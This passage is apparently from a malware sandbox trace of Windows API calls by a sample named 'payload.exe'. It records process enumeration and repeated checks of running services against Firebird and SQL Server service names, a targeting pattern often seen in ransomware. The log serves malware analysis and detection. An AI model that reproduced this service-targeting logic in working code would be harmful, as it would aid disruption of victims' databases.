(lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0142.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0142.329] lstrlenW (lpString="RpcEptMapper") returned 12 [0142.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.329] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0142.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0142.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0142.330] lstrlenW (lpString="RpcSs") returned 5 [0142.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0142.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0142.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0142.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0142.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0142.330] lstrlenW (lpString="SamSs") returned 5 [0142.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0142.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0142.330] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0142.330] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0142.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0142.330] lstrlenW (lpString="Schedule") returned 8 [0142.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0142.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0142.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0142.330] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0142.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0142.330] lstrlenW (lpString="SecurityHealthService") returned 21 [0142.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0142.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0142.330] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0142.330] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0142.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0142.330] lstrlenW (lpString="SENS") returned 4 [0142.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0142.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0142.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0142.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0142.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0142.332] lstrlenW (lpString="ShellHWDetection") returned 16 [0142.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.332] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0142.332] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0142.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0142.332] lstrlenW (lpString="Spooler") returned 7 [0142.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0142.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0142.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0142.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0142.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0142.332] lstrlenW (lpString="StateRepository") returned 15 [0142.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0142.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0142.332] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0142.332] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0142.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0142.333] lstrlenW (lpString="SysMain") returned 7 [0142.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0142.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0142.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0142.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0142.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0142.333] lstrlenW (lpString="SystemEventsBroker") returned 18 [0142.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0142.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0142.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0142.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0142.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0142.333] lstrlenW (lpString="Themes") returned 6 [0142.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0142.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0142.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0142.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0142.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0142.333] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0142.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0142.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0142.333] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0142.333] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0142.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52eaeb8 | out: hHeap=0x510000) returned 1 [0142.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a0 [0142.337] Process32FirstW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.338] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0142.339] lstrlenW (lpString="System") returned 6 [0142.339] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0142.339] lstrlenW (lpString="smss.exe") returned 8 [0142.339] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.340] lstrlenW (lpString="csrss.exe") returned 9 [0142.340] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0142.341] lstrlenW (lpString="wininit.exe") returned 11 [0142.341] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.342] lstrlenW (lpString="csrss.exe") returned 9 [0142.342] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0142.342] lstrlenW (lpString="winlogon.exe") returned 12 [0142.342] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0142.343] lstrlenW (lpString="services.exe") returned 12 [0142.343] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0142.344] lstrlenW (lpString="lsass.exe") returned 9 [0142.344] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.345] lstrlenW (lpString="svchost.exe") returned 11 [0142.345] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0142.346] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0142.346] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0142.347] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0142.347] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.347] lstrlenW (lpString="svchost.exe") returned 11 [0142.348] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0142.348] lstrlenW (lpString="dwm.exe") returned 7 [0142.348] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.349] lstrlenW (lpString="svchost.exe") returned 11 [0142.349] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.350] lstrlenW (lpString="svchost.exe") returned 11 [0142.350] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.350] lstrlenW (lpString="svchost.exe") returned 11 [0142.350] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.351] lstrlenW (lpString="svchost.exe") returned 11 [0142.351] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.352] lstrlenW (lpString="svchost.exe") returned 11 [0142.352] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.353] lstrlenW (lpString="svchost.exe") returned 11 [0142.353] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.353] lstrlenW (lpString="svchost.exe") returned 11 [0142.353] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.354] lstrlenW (lpString="svchost.exe") returned 11 [0142.354] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.355] lstrlenW (lpString="svchost.exe") returned 11 [0142.355] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.356] lstrlenW (lpString="svchost.exe") returned 11 [0142.356] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0142.357] lstrlenW (lpString="spoolsv.exe") returned 11 [0142.357] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.358] lstrlenW (lpString="svchost.exe") returned 11 [0142.358] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0142.358] lstrlenW (lpString="audiodg.exe") returned 11 [0142.358] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0142.359] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0142.359] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0142.360] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0142.360] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0142.361] lstrlenW (lpString="Memory Compression") returned 18 [0142.361] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0142.361] lstrlenW (lpString="sihost.exe") returned 10 [0142.361] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.362] lstrlenW (lpString="svchost.exe") returned 11 [0142.362] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0142.363] lstrlenW (lpString="taskhostw.exe") returned 13 [0142.363] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0142.363] lstrlenW (lpString="msoia.exe") returned 9 [0142.363] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0142.444] lstrlenW (lpString="explorer.exe") returned 12 [0142.444] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0142.444] lstrlenW (lpString="SearchUI.exe") returned 12 [0142.444] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0142.445] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0142.445] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0142.446] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0142.446] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0142.448] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0142.448] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0142.449] lstrlenW (lpString="payload.exe") returned 11 [0142.449] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0142.449] lstrlenW (lpString="cmd.exe") returned 7 [0142.450] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0142.450] lstrlenW (lpString="conhost.exe") returned 11 [0142.450] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0142.451] lstrlenW (lpString="consent.exe") returned 11 [0142.451] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0142.452] lstrlenW (lpString="dllhost.exe") returned 11 [0142.452] Process32NextW (in: hSnapshot=0x4a0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0142.453] CloseHandle (hObject=0x4a0) returned 1 [0142.453] Sleep (dwMilliseconds=0x1f4) [0143.222] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dfe0 [0143.222] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0143.223] GetLastError () returned 0xea [0143.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x52e91b0 [0143.223] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52e91b0, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52e91b0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0143.223] CloseServiceHandle (hSCObject=0x443dfe0) returned 1 [0143.224] lstrlenW (lpString="Appinfo") returned 7 [0143.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0143.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0143.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0143.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0143.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0143.224] lstrlenW (lpString="AppXSvc") returned 7 [0143.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0143.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0143.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0143.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0143.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0143.224] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0143.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0143.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0143.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0143.224] lstrlenW (lpString="Audiosrv") returned 8 [0143.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0143.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0143.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0143.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0143.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0143.225] lstrlenW (lpString="BFE") returned 3 [0143.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 